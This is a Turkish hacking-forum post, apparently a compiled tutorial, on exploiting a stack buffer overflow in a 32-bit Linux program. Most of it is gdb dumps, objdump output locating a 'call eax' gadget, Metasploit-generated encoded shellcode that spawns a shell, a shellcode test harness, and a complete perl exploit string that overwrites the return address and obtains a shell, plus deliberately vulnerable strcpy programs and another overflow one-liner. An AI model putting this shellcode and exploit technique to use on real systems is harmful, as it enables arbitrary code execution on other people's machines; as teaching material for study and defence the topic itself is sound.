0xbffff0d0:    0xb7e927f5    0xb7ff0590    0x0804847b    0xb7fc1ff4
0xbffff0e0:    0x08048452    0xbffff2f9    0xbffff168    0xb7e79e46
0xbffff0f0:    0x00000002    0xbffff194    0xbffff1a0    0xb7fe0860
0xbffff100:    0xb7ff6821    0xffffffff    0xb7ffeff4    0x08048254
Geri dönüş adresi "ESP 0x08048452" ve devam ediyoruz ki neler olduğunu görelim.

Kod:
(gdb) c
Continuing.

Breakpoint 3, 0x0804843b in evilfunction (
    input=0xbffff200 "\244\376\377\277\320\376\377\277\335\376\377\277?\377\377\277|\377\377\277\211\377\377\277\224\377\377\277\255\377\377\277") at shell.c:8
8    }
(gdb) info registers esp
esp            0xbffff0e0    0xbffff0e0
(gdb) x /20x $esp - 32
0xbffff0c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff0d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff0e0:    "0x42424242"    0xbffff200    0xbffff168    0xb7e79e46
0xbffff0f0:    0x00000002    0xbffff194    0xbffff1a0    0xb7fe0860
0xbffff100:    0xb7ff6821    0xffffffff    0xb7ffeff4    0x08048254
Evet bizim geri dönüş adresi üzerinde oluştu.Uygulamayı çalıştırmaya devam edelim...

Şimdi yapacağımız tampon bulmak ve atlamak:
Şimdi bizim tampon bulmak için kayıtlar üzerine bakmamız gerekiyor...
Not:Biraz arama yaptıktan sonra EAX aslında tampon başlangıcına işaret ettiğini görebiliriz...
İşte bu yüzden EAX bizim tampon başlangımız...

Kod:
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers eax
eax            0xbfffecf4    -1073746700
(gdb) x /20x $eax - 32
[code]0xbfffecd4:    0x00000002    0xb7edbb70    0x00000000    0x00000000
0xbfffece4:    0xbffff0dc    0x0804843a    0xbfffecf4    0xbffff2f9
0xbfffecf4:    "0x41414141"    0x41414141    0x41414141    0x41414141
0xbfffed04:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffed14:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb)
Şimdi "objdump" komutu ile "eax"ın adresini bulalım
Not:Video da "msfelfscan" ve "objdump" yardımı ile "eax" adresini tespit etmiş bulunmaktayız...
Notbig_smileadece call,eax adresini bulmak isterseniz.Komutu şu şekilde düzenleyebilirsiz (objdump -d shell | grep "ff d0")

Kod:
$ objdump -d shell | grep "eax"
80482de:    58                       pop    %eax
80482fc:    00 00                    add    %al,(%eax)
8048338:    50                       push   %eax
8048360:    b8 b7 96 04 08           mov    $0x80496b7,%eax
8048365:    2d b4 96 04 08           sub    $0x80496b4,%eax
804836a:    83 f8 06                 cmp    $0x6,%eax
8048371:    b8 00 00 00 00           mov    $0x0,%eax
8048376:    85 c0                    test   %eax,%eax
"8048387:    ff d0                    call   *%eax"
8048390:    b8 b4 96 04 08           mov    $0x80496b4,%eax
8048395:    2d b4 96 04 08           sub    $0x80496b4,%eax
804839a:    c1 f8 02                 sar    $0x2,%eax
804839d:    89 c2                    mov    %eax,%edx
80483a2:    01 d0                    add    %edx,%eax
80483a4:    d1 f8                    sar    %eax
80483b9:    89 44 24 04              mov    %eax,0x4(%esp)
80483f0:    a1 9c 95 04 08           mov    0x804959c,%eax
80483f5:    85 c0                    test   %eax,%eax
80483f9:    b8 00 00 00 00           mov    $0x0,%eax
80483fe:    85 c0                    test   %eax,%eax
804840f:    ff d0                    call   *%eax
8048425:    8b 45 08                 mov    0x8(%ebp),%eax
8048428:    89 44 24 04              mov    %eax,0x4(%esp)
804842c:    8d 85 18 fc ff ff        lea    -0x3e8(%ebp),%eax
8048432:    89 04 24                 mov    %eax,(%esp)
8048442:    8b 45 0c                 mov    0xc(%ebp),%eax
8048445:    83 c0 04                 add    $0x4,%eax
8048448:    8b 00                    mov    (%eax),%eax
804844a:    89 04 24                 mov    %eax,(%esp)
8048452:    b8 00 00 00 00           mov    $0x0,%eax
804848f:    8d 83 00 ff ff ff        lea    -0x100(%ebx),%eax
8048495:    29 c7                    sub    %eax,%edi
80484a0:    8b 45 10                 mov    0x10(%ebp),%eax
80484a3:    89 44 24 08              mov    %eax,0x8(%esp)
80484a7:    8b 45 0c                 mov    0xc(%ebp),%eax
80484aa:    89 44 24 04              mov    %eax,0x4(%esp)
80484ae:    8b 45 08                 mov    0x8(%ebp),%eax
80484b1:    89 04 24                 mov    %eax,(%esp)

Exploit Yazmak
Şimdi istismar yapısınla oynamak için şöyle * bir şey bakacağız..
NOPS(90) + ShellCode + NOPS(90) + 08048387(call eax)

Kod:
$ msfpayload linux/x86/exec O

Payload Bilgilerimiz:

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
Total size: 143
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command
Evet "msfpayload" kullanarak shellcode'muzu oluşturalım...

Kötü karekterimiz = "\x00\x0a\x0d"
Not:kötü karekterimiz nedir bu konuya da bir açıklama getirelim:
"\x00" Bu karakter C programlama dilinde bir dize sonlandırıcı olarak kabul edilir ve bir tampon içine dahil edildiğinde bir istismar kırılma etkisi vardır...
"\x0a" ve "\x0d" satır besleme ve satırbaşı karekterlerini önlemek için kullanılır.

Kod:
$ msfpayload linux/x86/exec CMD=dash R | msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 141 (iteration=1)

unsigned char buf[] =
"\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51"
"\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d"
"\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78\x33"
"\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43"
"\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35"
"\x31\x64\x33\x51\x78\x65\x50\x63\x67\x62\x73\x6e\x69\x38\x61"
"\x6a\x6d\x4d\x50\x41\x41";

Evet shellcode'muz 141 bytes olarak aldık...
Şimdi bir de kontrol edelim bakalım shellcode'muz gerçekten çalışıyor mu?
Not:Bu yöntem genelde kendi yazdığımız shellcodelari kontrol etmek için kullanılır..(Bilgilendirme amaçlı burada kullanılmıştır.)

Kod:
#include <stdio.h>

char shellcode[] =
"\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51"
"\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d"
"\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78\x33"
"\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43"
"\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35"
Kod:
"\x31\x64\x33\x51\x78\x65\x50\x63\x67\x62\x73\x6e\x69\x38\x61"
"\x6a\x6d\x4d\x50\x41\x41";
    int main()
{
    (*(void (*)()) shellcode)();
}
Şimdi düzenlememizi yaptık birde derleyelim ve çalıştıralım
Kod:
# gcc -o shellcode -fno-stack-protector -z execstack shellcode.c
# ./shellcode
$ id
uid=1000(wolf) gid=1000(wolf) groups=1000(wolf)

Evet shellcode'muz da çalışıyor..

NOPS (90) x401 . ShellCode (141 bytes) . NOPS (90) x462 . 08048387 (call eax )

Evet şimdi düzenlememizi yaparak istismar kodumuzu çalıştırıyoruz...
Kod:
(gdb) run `perl -e 'print "\x90"x401 . "\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a
\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58
\x50\x38\x41\x42\x75\x4a\x49\x51\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78
\x33\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35\x31\x64\x33\x51\x78\x65
\x50\x63\x67\x62\x73\x6e\x69\x38\x61\x6a\x6d\x4d\x50\x41\x41" . "\x90"x462 . "\x87\x83\x04\x08"'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "\x90"x401 . "\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a
\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58
\x50\x38\x41\x42\x75\x4a\x49\x51\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78
\x33\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35\x31\x64\x33\x51\x78\x65
\x50\x63\x67\x62\x73\x6e\x69\x38\x61\x6a\x6d\x4d\x50\x41\x41" . "\x90"x462 . "\x87\x83\x04\x08"'`
process 19093 is executing new program: /bin/dash
$ id
uid=1000(wolf) gid=1000(wolf) groups=1000(wolf)

Evet başarılı olduk...

Video İndirme adresi:

Kod:
http://dosya.co/download.php?id=51D7143C1
Evet Şimdi Basit bir şekilde Linux İşletim Sistemi Üzerinden Resimlerle ve Kodlarla Saldırıyı Hack Yöntemini göstericem.
Kod:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];
    
    strcpy(password_buffer, password);
    
    if(strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
        auth_flag = 1;
    
    return auth_flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    if(check_authentication(argv[1])) {
        printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        printf("      Access Granted\n");
        printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    } else {
        printf("\nAccess Denied.\n");
    }
}



Kod:
#include <stdio.h>
int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <argument>\n", argv[0]);
        exit(0);
    }
    
    char buffer[50];
    strcpy(buffer, argv[1]);
    
    printf("%s\n", argv[1]);
    
    return 0;
}

Kod:
./vuln $(perl -e 'print "\x56\xf9\xff\xbf"x20')

Kod:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target  program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);    /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;  /* adjust for program  name */
    printf("%s will be at %p\n", argv[1], ptr);
}
www.deccal.org
www.deccal.org
www.deccal.org
www.deccal.org
www.deccal.org
www.deccal.org
www.deccal.org
www.deccal.org
Not :> En Çok yararlandığım ve İngilizceden Türkçeye çevirdiğim kaynak Santa Clara Üniversitesinin Buffer Overflow hakkındaki yazısıdır ve altta kaynak olarak vereceğim. Ve tabiki öbür diğer sitelerden yazılardan derleyip toparlayıp bir araya getirerek düzenledim ve içine yazdım ve hepsini okuyarak buraya koydum. Altta vermiş olduğum tüm sitelerden baya yararlanarak bu hale getirdim. KingSkrupellos. Lütfen Emeğe Saygı. Bir teşekkürü çok görmeyin.
Yararlandığım Kaynaklar =>
Kod:
[1] http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.pdf
[2] https://nvd.nist.gov
[3] http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=6405636&tag=1
[4] http://www.microsoft.com/en-us/download/details.aspx?id=38761
[5] http://beej.us/guide/bgc/output/html/multipage/strcpy.html
[6] http://www.rsa.com/rsalabs/node.asp?id=2011
[7] http://en.wikipedia.org/wiki/Buffer_overflow
[8] http://emergentchaos.com/archives/2008/10/buffer-overflows-and-history-a-request.html
[9] https://www.bilgiguvenligi.gov.tr/siniflandirilmamis/arabellek-tasmasi-zafiyeti-buffer-overflow.html
[10] http://www.cyber-warrior.org/dokuman/Default.Asp?Data_id=4109
[11] https://www.owasp.org/index.php/Buffer_overflow_attack
[12] http://www.freebsd.org/doc/en/books/developers-handbook/secure-bufferov.html
[13] http://www.cse.scu.edu/~tschwarz/coen152_05/Lectures/BufferOverflow.html
[14] http://www.youtube.com/results?search_query=buffer+overflow+attack
[15] https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture21.pdf
[16] http://www.theprohack.com/2010/09/buffer-overflow-attack-tutorial-by.html
[17] http://agile.csc.ncsu.edu/SEMaterials/9_BufferOverflow.pdf
[18] https://forum.ubuntu-tr.net/index.php?topic=39751.0
[19] https://forum.intern0t.org/offensive-guides-information/2902-basic-buffer-overflow-attacks.html
www.deccal.org


Beğenenler: Symxq , Tech.L3oN
#2
Eline sağlık iyi bir derleme,teşekkürler exciting
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Yeni Kolay Site Hack :) ByMuh4mm3d 197 5,387 2 saat önce
Son Yorum: ImRyMaTem
  Okunamayan Konfigürasyon Dosyasına ByPass Yöntemi KingSkrupellos 6 237 Dün, Saat: 21:12
Son Yorum: Kolonkun
  Sql Enjeksiyon Admin Authentication Login ByPass Geniş Resimli Videolu Anlatım KingSkrupellos 8 2,269 30-11-2016, Saat: 19:52
Son Yorum: Kolonkun
  Forum Sitelerinin Configuration Dizin Yolları KingSkrupellos 11 227 30-11-2016, Saat: 11:14
Son Yorum: the_zizil
  2016 Güncel Exploit Dökümanı + Videolu Anlatım KingSkrupellos 2 231 30-11-2016, Saat: 11:11
Son Yorum: Efetimi
Anahtar Kelimeler

Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım indir, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Videosu, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Online izle, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Bedava indir, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Yükle, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Hakkında, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Nedir, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Free indir, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Oyunu, Buffer OverFlow Saldırısı Hack Yöntemi ve Korunma Yolları Detaylı Anlatım Download


1 Ziyaretçi